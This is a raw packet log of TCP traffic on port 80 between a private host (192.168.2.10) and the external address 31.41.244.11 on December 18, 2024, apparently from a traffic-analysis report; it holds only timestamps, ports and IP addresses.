Dec 18, 2024 15:56:13.608081102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.608114958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.608124018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.608160019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.608634949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.608762980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.608799934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.608829021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.609328985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.609380007 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.609402895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.609447956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.633435965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.633486986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.633524895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.633574009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.633721113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.633766890 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.633807898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.633856058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.634502888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.634552002 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.634681940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.634726048 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.635217905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.635305882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.635421038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.635469913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.635534048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.635585070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.636151075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.636202097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.636218071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.636261940 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.636912107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.636961937 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.636995077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.637044907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.637595892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.637645960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.637670040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.637715101 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.638338089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.638391018 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.638407946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.638454914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.639065981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.639098883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.639115095 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.639144897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.639918089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.639965057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.640140057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.640187025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.640594006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.640641928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.640717030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.640757084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.641299963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.641345024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.641376019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.641398907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.642010927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.642054081 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.642213106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.642257929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.642719030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.642875910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.642941952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.643445969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.643480062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.643493891 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.643552065 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.643596888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.644224882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.644268990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.644301891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.644344091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.644893885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.644932985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.644965887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.645004034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.645703077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.645744085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.645770073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.645804882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.646389008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.646430016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.646538019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.646574020 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.647135973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.647178888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.647243977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.647286892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.647851944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.647893906 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.647979021 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.648015022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.648973942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.649024010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.649041891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.649085045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.649602890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.649653912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.649682045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.649727106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.650152922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.650197029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.650249958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.650288105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.650705099 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.650748968 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.650979042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.651024103 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.651503086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.651549101 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.651783943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.651828051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.652164936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.652204990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.652276039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.652314901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.653027058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.653075933 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.653135061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.653177977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.653633118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.653683901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.653794050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.653832912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.654475927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.654517889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.654573917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.654611111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.655109882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.655149937 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.655164957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.655201912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.655792952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.655838966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.655889988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.655925035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.656541109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.656591892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.656701088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.656743050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.657303095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.657346010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.657393932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.657459974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.658066034 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.658099890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.658111095 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.658145905 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.658891916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.658942938 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.658982992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.659024954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.659442902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.659487963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.659504890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.659545898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.660238981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.660321951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.660353899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.660392046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.660924911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.660969019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.660995960 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.661036015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.661667109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.661710024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.661736965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.661773920 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.662369967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.662412882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.662525892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.662573099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.663259983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.663328886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.663363934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.663407087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.663825989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.663872957 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.663933992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.663973093 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.664547920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.664593935 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.664619923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.664658070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.665307999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.665354013 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.665421963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.665462017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.666007042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.666055918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.666110992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.666156054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.666759014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.666826963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.666831970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.666876078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.667576075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.667625904 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.667660952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.667692900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.668246031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.668294907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.668324947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.668365955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.668946028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.668989897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.800385952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.800432920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.800453901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.800477028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.800726891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.800767899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.800829887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.800868034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.801378965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.801420927 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.801569939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.801613092 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.802057981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.802120924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.825717926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.825778961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.825828075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.825870037 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.826073885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.826119900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.826179981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.826216936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.826824903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.826872110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.826900959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.826941967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.827558994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.827608109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.827856064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.827900887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.828033924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.828074932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.828521013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.828567028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.828618050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.828660965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.829221010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.829296112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.829364061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.829404116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.829948902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.829997063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.830101013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.830144882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.830688000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.830733061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.830895901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.830940962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.831476927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.831530094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.831585884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.831625938 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.832190037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.832233906 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.832247972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.832293034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.832890987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.832947016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.832978964 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.833022118 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.833596945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.833645105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.833861113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.833904982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.834309101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.834347963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.834359884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.834398031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.835125923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.835167885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.835339069 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.835381031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.835777044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.835822105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.835891008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.835933924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.836566925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.836613894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.836802006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.836842060 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.837347031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.837382078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.837390900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.837430000 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.837959051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.838004112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.838027954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.838063955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.838727951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.838767052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.838872910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.838908911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.839430094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.839451075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.839472055 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.839484930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.840174913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.840214968 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.840248108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.840285063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.840894938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.840940952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.841082096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.841123104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.841600895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.841641903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.841662884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.841742992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.842416048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.842458010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.842528105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.842565060 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.843070984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.843113899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.843192101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.843226910 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.843796015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.843837023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.843894005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.843931913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.844557047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.844604969 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.844722033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.844758987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.845295906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.845340967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:13.845412016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:13.845460892 CET	49749	80	192.168.2.10	31.41.244.11
